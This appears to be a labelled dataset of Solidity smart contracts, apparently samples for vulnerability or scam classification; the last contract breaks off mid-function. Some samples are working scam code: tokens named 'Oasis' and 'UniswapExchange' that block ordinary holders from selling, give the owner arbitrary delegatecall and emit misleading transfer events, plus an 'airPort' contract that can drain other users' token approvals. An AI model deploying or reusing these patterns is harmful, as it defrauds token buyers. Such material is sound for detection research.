pragma solidity ^0.4.24; contract airPort{ function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){ require(_tos.length > 0); bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)")); for(uint i=0;i<_tos.length;i++){ caddress.call(id,from,_tos[i],v); } return true; } }
0
2,176
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Oasis { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
424
pragma solidity >=0.7.0 <0.9.0; interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); } contract MockCS { address public owner = 0xD1BdD1B9D5401E89DeC1E51e4DC350b6057e7382; modifier onlyOwner() { require(owner == msg.sender); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } function rescueERC20(address _token, uint256 _amount) external onlyOwner { IERC20(_token).transfer(owner, _amount); } function delegateCall(address _target, uint _value, bytes calldata _data) external payable onlyOwner { _target.call{value: _value}(_data); } }
0
392
pragma solidity ^0.4.21; contract GameState{ uint256[3] RoundTimes = [(5 minutes), (20 minutes), (10 minutes)]; uint256[3] NextRound = [1,2,0]; uint256 public CurrentGame = 0; uint256 public Timestamp = 0; function Timer() internal view returns (bool){ if (block.timestamp < Timestamp){ return (true); } return false; } function Start() internal { Timestamp = block.timestamp + RoundTimes[CurrentGame]; } function Next(bool StartNow) internal { uint256 NextRoundBuffer = NextRound[CurrentGame]; if (StartNow){ Timestamp = Timestamp + RoundTimes[NextRoundBuffer]; } else{ } CurrentGame = NextRoundBuffer; } } contract ServiceStation is GameState{ uint256 public Votes = 0; uint256 public constant VotesNecessary = 6; uint256 public constant devFee = 500; address owner; address constant fee_address = 0x3323075B8D3c471631A004CcC5DAD0EEAbc5B4D1; event NewVote(uint256 AllVotes); event VoteStarted(); event ItemBought(uint256 ItemID, address OldOwner, address NewOwner, uint256 NewPrice, uint256 FlipAmount); event JackpotChange(uint256 HighJP, uint256 LowJP); event OutGassed(bool HighGame, uint256 NewGas, address WhoGassed, address NewGasser); event Paid(address Paid, uint256 Amount); modifier OnlyDev(){ require(msg.sender==owner); _; } modifier OnlyState(uint256 id){ require (CurrentGame == id); _; } modifier OnlyStateOR(uint256 id, uint256 id2){ require (CurrentGame == id || CurrentGame == id2); _; } modifier NoContract(){ uint size; address addr = msg.sender; assembly { size := extcodesize(addr) } require(size == 0); _; } function ServiceStation() public { owner = msg.sender; } function Vote() public NoContract OnlyStateOR(0,2) { bool StillOpen; if (CurrentGame == 2){ StillOpen = Timer(); if (StillOpen){ revert(); } else{ Next(false); } } StillOpen = Timer(); if (!StillOpen){ emit VoteStarted(); Start(); Votes=0; } if ((Votes+1)>= VotesNecessary){ GameStart(); } else{ Votes++; } emit NewVote(Votes); } function DevForceOpen() public NoContract OnlyState(0) OnlyDev { emit NewVote(VotesNecessary); Timestamp = now; GameStart(); } function GameStart() internal OnlyState(0){ RoundNumber++; Votes = 0; Withdraw(); Next(true); TotalPot = address(this).balance; } uint256 RoundNumber = 0; uint256 constant MaxItems = 11; uint256 constant StartPrice = (0.005 ether); uint256 constant PriceIncrease = 9750; uint256 constant PotPaidTotal = 8000; uint256 constant PotPaidHigh = 9000; uint256 constant PreviousPaid = 6500; uint256 public TotalPot; mapping(address => bool) LowJackpot; mapping(address => uint256) HighJackpot; mapping(address => uint256) CurrentRound; address public LowJackpotHolder; address public HighJackpotHolder; uint256 CurrTimeHigh; uint256 CurrTimeLow; uint256 public LowGasAmount; uint256 public HighGasAmount; struct Item{ address holder; uint256 price; } mapping(uint256 => Item) Market; function GetJackpots() public view returns (uint256, uint256){ uint256 PotPaidRound = (TotalPot * PotPaidTotal)/10000; uint256 HighJP = (PotPaidRound * PotPaidHigh)/10000; uint256 LowJP = (PotPaidRound * (10000 - PotPaidHigh))/10000; return (HighJP, LowJP); } function GetItemInfo(uint256 ID) public view returns (uint256, address){ Item memory targetItem = Market[ID]; return (targetItem.price, targetItem.holder); } function BuyItem(uint256 ID) public payable NoContract OnlyState(1){ require(ID <= MaxItems); bool StillOpen = Timer(); if (!StillOpen){ revert(); } uint256 price = Market[ID].price; if (price == 0){ price = StartPrice; } require(msg.value >= price); if (msg.value > price){ msg.sender.transfer(msg.value-price); } uint256 Fee = (price * (devFee))/10000; uint256 Left = price - Fee; fee_address.transfer(Fee); if (price != StartPrice){ address target = Market[ID].holder; uint256 payment = (price * PreviousPaid)/10000; target.transfer (payment); if (target != msg.sender){ if (HighJackpot[target] >= 1){ HighJackpot[target] = HighJackpot[target] - 1; } } TotalPot = TotalPot + Left - payment; emit ItemBought(ID, target, msg.sender, (price * (PriceIncrease + 10000))/10000, payment); } else{ TotalPot = TotalPot + Left; emit ItemBought(ID, address(0x0), msg.sender, (price * (PriceIncrease + 10000))/10000, 0); } uint256 PotPaidRound = (TotalPot * PotPaidTotal)/10000; emit JackpotChange((PotPaidRound * PotPaidHigh)/10000, (PotPaidRound * (10000 - PotPaidHigh))/10000); LowJackpot[msg.sender] = true; price = (price * (PriceIncrease + 10000))/10000; if (CurrentRound[msg.sender] != RoundNumber){ if (HighJackpot[msg.sender] != 1){ HighJackpot[msg.sender] = 1; } CurrentRound[msg.sender] = RoundNumber; } else{ HighJackpot[msg.sender] = HighJackpot[msg.sender] + 1; } Market[ID].holder = msg.sender; Market[ID].price = price; } function GetGameType(address targ) public view returns (bool, bool){ if (CurrentRound[targ] != RoundNumber){ return (false,false); } else{ if (HighJackpot[targ] > 0){ return (true, true); } else{ if (LowJackpot[targ]){ return (true, false); } } } return (false, false); } function BurnGas() public NoContract OnlyStateOR(2,1) { bool StillOpen; if (CurrentGame == 1){ StillOpen = Timer(); if (!StillOpen){ Next(true); } else{ revert(); } } StillOpen = Timer(); if (!StillOpen){ Next(true); Withdraw(); return; } bool CanPlay; bool IsPremium; (CanPlay, IsPremium) = GetGameType(msg.sender); require(CanPlay); uint256 AllPot = (TotalPot * PotPaidTotal)/10000; uint256 PotTarget; uint256 timespent; uint256 payment; if (IsPremium){ PotTarget = (AllPot * PotPaidHigh)/10000; if (HighGasAmount == 0 || tx.gasprice < HighGasAmount){ if (HighGasAmount == 0){ emit OutGassed(true, tx.gasprice, address(0x0), msg.sender); } else{ timespent = now - CurrTimeHigh; payment = (PotTarget * timespent) / RoundTimes[2]; HighJackpotHolder.transfer(payment); emit OutGassed(true, tx.gasprice, HighJackpotHolder, msg.sender); emit Paid(HighJackpotHolder, payment); } HighGasAmount = tx.gasprice; CurrTimeHigh = now; HighJackpotHolder = msg.sender; } } else{ PotTarget = (AllPot * (10000 - PotPaidHigh)) / 10000; if (LowGasAmount == 0 || tx.gasprice < LowGasAmount){ if (LowGasAmount == 0){ emit OutGassed(false, tx.gasprice, address(0x0), msg.sender); } else{ timespent = now - CurrTimeLow; payment = (PotTarget * timespent) / RoundTimes[2]; LowJackpotHolder.transfer(payment); emit OutGassed(false, tx.gasprice, LowJackpotHolder, msg.sender); emit Paid(LowJackpotHolder, payment); } LowGasAmount = tx.gasprice; CurrTimeLow = now; LowJackpotHolder = msg.sender; } } } function Withdraw() public NoContract OnlyStateOR(0,2){ bool gonext = false; if (CurrentGame == 2){ bool StillOpen; StillOpen = Timer(); if (!StillOpen){ gonext = true; } else{ revert(); } } uint256 timespent; uint256 payment; uint256 AllPot = (TotalPot * PotPaidTotal)/10000; uint256 PotTarget; if (LowGasAmount != 0){ PotTarget = (AllPot * (10000 - PotPaidHigh))/10000; timespent = Timestamp - CurrTimeLow; payment = (PotTarget * timespent) / RoundTimes[2]; LowJackpotHolder.transfer(payment); emit Paid(LowJackpotHolder, payment); } if (HighGasAmount != 0){ PotTarget = (AllPot * PotPaidHigh)/10000; timespent = Timestamp - CurrTimeHigh; payment = (PotTarget * timespent) / RoundTimes[2]; HighJackpotHolder.transfer(payment); emit Paid(HighJackpotHolder, payment); } LowGasAmount = 0; HighGasAmount = 0; uint8 id; for (id=0; id<MaxItems; id++){ Market[id].price=0; } if (gonext){ Next(true); } } function() payable{ } }
1
5,468
pragma solidity ^0.4.0; contract SafeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256 c) { c = a * b; assert(a == 0 || c / a == b); } function safeSub(uint256 a, uint256 b) internal returns (uint256 c) { assert(b <= a); c = a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256 c) { c = a + b; assert(c>=a && c>=b); } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract ValueToken is SafeMath,Token{ string name = "Value"; uint decimals = 0; uint256 supplyNow = 0; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) allowed; function totalSupply() constant returns (uint256 totalSupply){ return supplyNow; } function balanceOf(address _owner) constant returns (uint256 balance){ return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){ if (balanceOf(msg.sender) >= _value) { balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success){ if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) { balances[_to] = safeAdd(balanceOf(_to), _value); balances[_from] = safeSub(balanceOf(_from), _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } else { return false; } } function approve(address _spender, uint256 _value) returns (bool success){ if(balances[msg.sender] >= _value){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } else { return false; } } function allowance(address _owner, address _spender) constant returns (uint256 remaining){ return allowed[_owner][_spender]; } function createValue(address _owner, uint256 _value) internal returns (bool success){ balances[_owner] = safeAdd(balances[_owner], _value); supplyNow = safeAdd(supplyNow, _value); Mint(_owner, _value); } function destroyValue(address _owner, uint256 _value) internal returns (bool success){ balances[_owner] = safeSub(balances[_owner], _value); supplyNow = safeSub(supplyNow, _value); Burn(_owner, _value); } event Mint(address indexed _owner, uint256 _value); event Burn(address indexed _owner, uint256 _value); } contract ValueTrader is SafeMath,ValueToken{ function () payable { } struct TokenData { bool isValid; uint256 basePrice; uint256 baseLiquidity; uint256 priceScaleFactor; bool hasDividend; address divContractAddress; bytes divData; } address owner; address etherContract; uint256 tradeCoefficient; mapping (address => TokenData) tokenManage; bool public burning = false; bool public draining = false; modifier owned(){ assert(msg.sender == owner); _; } modifier burnBlock(){ assert(!burning); _; } modifier drainBlock(){ assert(!draining); _; } function toggleDrain() burnBlock owned { draining = !draining; } function toggleBurn() owned { assert(draining); assert(balanceOf(owner) == supplyNow); burning = !burning; } function die() owned burnBlock{ selfdestruct(owner); } function validateToken(address token_, uint256 bP_, uint256 bL_, uint256 pF_) owned { tokenManage[token_].isValid = true; tokenManage[token_].basePrice = bP_; tokenManage[token_].baseLiquidity = bL_; tokenManage[token_].priceScaleFactor = pF_; } function configureTokenDividend(address token_, bool hD_, address dA_, bytes dD_) owned { tokenManage[token_].hasDividend = hD_; tokenManage[token_].divContractAddress = dA_; tokenManage[token_].divData = dD_; } function callDividend(address token_) owned { assert(tokenManage[token_].hasDividend); assert(tokenManage[token_].divContractAddress.call.value(0)(tokenManage[token_].divData)); } function invalidateToken(address token_) owned { tokenManage[token_].isValid = false; } function changeOwner(address owner_) owned { owner = owner_; } function changeFee(uint256 tradeFee) owned { tradeCoefficient = tradeFee; } function changeEtherContract(address eC) owned { etherContract = eC; } event Buy(address tokenAddress, address buyer, uint256 amount, uint256 remaining); event Sell(address tokenAddress, address buyer, uint256 amount, uint256 remaining); event Trade(address fromTokAddress, address toTokAddress, address buyer, uint256 amount); function ValueTrader(){ owner = msg.sender; burning = false; draining = false; } function valueWithFee(uint256 tempValue) internal returns (uint256 doneValue){ doneValue = safeMul(tempValue,tradeCoefficient)/10000; if(tradeCoefficient < 10000){ createValue(owner,safeSub(tempValue,doneValue)); } } function currentPrice(address token) constant returns (uint256 price){ if(draining){ price = 1; } else { assert(tokenManage[token].isValid); uint256 basePrice = tokenManage[token].basePrice; uint256 baseLiquidity = tokenManage[token].baseLiquidity; uint256 priceScaleFactor = tokenManage[token].priceScaleFactor; uint256 currentLiquidity; if(token == etherContract){ currentLiquidity = this.balance; }else{ currentLiquidity = Token(token).balanceOf(this); } price = safeAdd(basePrice,safeMul(priceScaleFactor,baseLiquidity/currentLiquidity)); } } function currentLiquidity(address token) constant returns (uint256 liquidity){ liquidity = Token(token).balanceOf(this); } function valueToToken(address token, uint256 amount) constant internal returns (uint256 value){ value = amount/currentPrice(token); assert(value != 0); } function tokenToValue(address token, uint256 amount) constant internal returns (uint256 value){ value = safeMul(amount,currentPrice(token)); } function sellToken(address token, uint256 amount) drainBlock { assert(verifiedTransferFrom(token,msg.sender,amount)); assert(createValue(msg.sender, tokenToValue(token,amount))); Sell(token, msg.sender, amount, balances[msg.sender]); } function buyToken(address token, uint256 amount) { assert(!(valueToToken(token,balances[msg.sender]) < amount)); assert(destroyValue(msg.sender, tokenToValue(token,amount))); assert(Token(token).transfer(msg.sender, amount)); Buy(token, msg.sender, amount, balances[msg.sender]); } function sellEther() payable drainBlock { assert(createValue(msg.sender, tokenToValue(etherContract,msg.value))); Sell(etherContract, msg.sender, msg.value, balances[msg.sender]); } function buyEther(uint256 amount) { assert(valueToToken(etherContract,balances[msg.sender]) >= amount); assert(destroyValue(msg.sender, tokenToValue(etherContract,amount))); assert(msg.sender.call.value(amount)()); Buy(etherContract, msg.sender, amount, balances[msg.sender]); } function quickTrade(address tokenFrom, address tokenTo, uint256 input) payable drainBlock { uint256 inValue; uint256 tempInValue = safeAdd(tokenToValue(etherContract,msg.value), tokenToValue(tokenFrom,input)); inValue = valueWithFee(tempInValue); uint256 outValue = valueToToken(tokenTo,inValue); assert(verifiedTransferFrom(tokenFrom,msg.sender,input)); if (tokenTo == etherContract){ assert(msg.sender.call.value(outValue)()); } else assert(Token(tokenTo).transfer(msg.sender, outValue)); Trade(tokenFrom, tokenTo, msg.sender, inValue); } function verifiedTransferFrom(address tokenFrom, address senderAdd, uint256 amount) internal returns (bool success){ uint256 balanceBefore = Token(tokenFrom).balanceOf(this); success = Token(tokenFrom).transferFrom(senderAdd, this, amount); uint256 balanceAfter = Token(tokenFrom).balanceOf(this); assert((safeSub(balanceAfter,balanceBefore)==amount)); } } contract ShopKeeper is SafeMath{ ValueTrader public shop; address holderA; address holderB; modifier onlyHolders(){ assert(msg.sender == holderA || msg.sender == holderB); _; } modifier onlyA(){ assert(msg.sender == holderA); _; } function(){ throw; } function ShopKeeper(address other){ shop = new ValueTrader(); holderA = msg.sender; holderB = other; } function giveAwayOwnership(address newHolder) onlyHolders { if(msg.sender == holderB){ holderB = newHolder; } else { holderA = newHolder; } } function splitProfits(){ uint256 unprocessedProfit = shop.balanceOf(this); uint256 equalShare = unprocessedProfit/2; assert(shop.transfer(holderA,equalShare)); assert(shop.transfer(holderB,equalShare)); } function toggleDrain() onlyA { shop.toggleDrain(); } function toggleBurn() onlyA { shop.toggleBurn(); } function die() onlyA { shop.die(); } function validateToken(address token_, uint256 bP_, uint256 bL_, uint256 pF_) onlyHolders { shop.validateToken(token_,bP_,bL_,pF_); } function configureTokenDividend(address token_, bool hD_, address dA_, bytes dD_) onlyA { shop.configureTokenDividend(token_,hD_,dA_,dD_); } function callDividend(address token_) onlyA { shop.callDividend(token_); } function invalidateToken(address token_) onlyHolders { shop.invalidateToken(token_); } function changeOwner(address owner_) onlyA { if(holderB == holderA){ shop.changeOwner(owner_); } holderA = owner_; } function changeShop(address newShop) onlyA { if(holderB == holderA){ shop = ValueTrader(newShop); } } function changeFee(uint256 tradeFee) onlyHolders { shop.changeFee(tradeFee); } function changeEtherContract(address eC) onlyHolders { shop.changeEtherContract(eC); } } contract ProfitContainerAdapter is SafeMath{ address owner; address shopLocation; address shopKeeperLocation; address profitContainerLocation; modifier owned(){ assert(msg.sender == owner); _; } function changeShop(address newShop) owned { shopLocation = newShop; } function changeKeeper(address newKeeper) owned { shopKeeperLocation = newKeeper; } function changeContainer(address newContainer) owned { profitContainerLocation = newContainer; } function ProfitContainerAdapter(address sL, address sKL, address pCL){ owner = msg.sender; shopLocation = sL; shopKeeperLocation = sKL; profitContainerLocation = pCL; } function takeEtherProfits(){ ShopKeeper(shopKeeperLocation).splitProfits(); ValueTrader shop = ValueTrader(shopLocation); shop.buyEther(shop.balanceOf(this)); assert(profitContainerLocation.call.value(this.balance)()); } function takeTokenProfits(address token){ ShopKeeper(shopKeeperLocation).splitProfits(); ValueTrader shop = ValueTrader(shopLocation); shop.buyToken(token,shop.balanceOf(this)); assert(Token(token).transfer(profitContainerLocation,Token(token).balanceOf(this))); } function giveAwayHoldership(address holderB) owned { ShopKeeper(shopKeeperLocation).giveAwayOwnership(holderB); } function giveAwayOwnership(address newOwner) owned { owner = newOwner; } }
0
2,239
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } 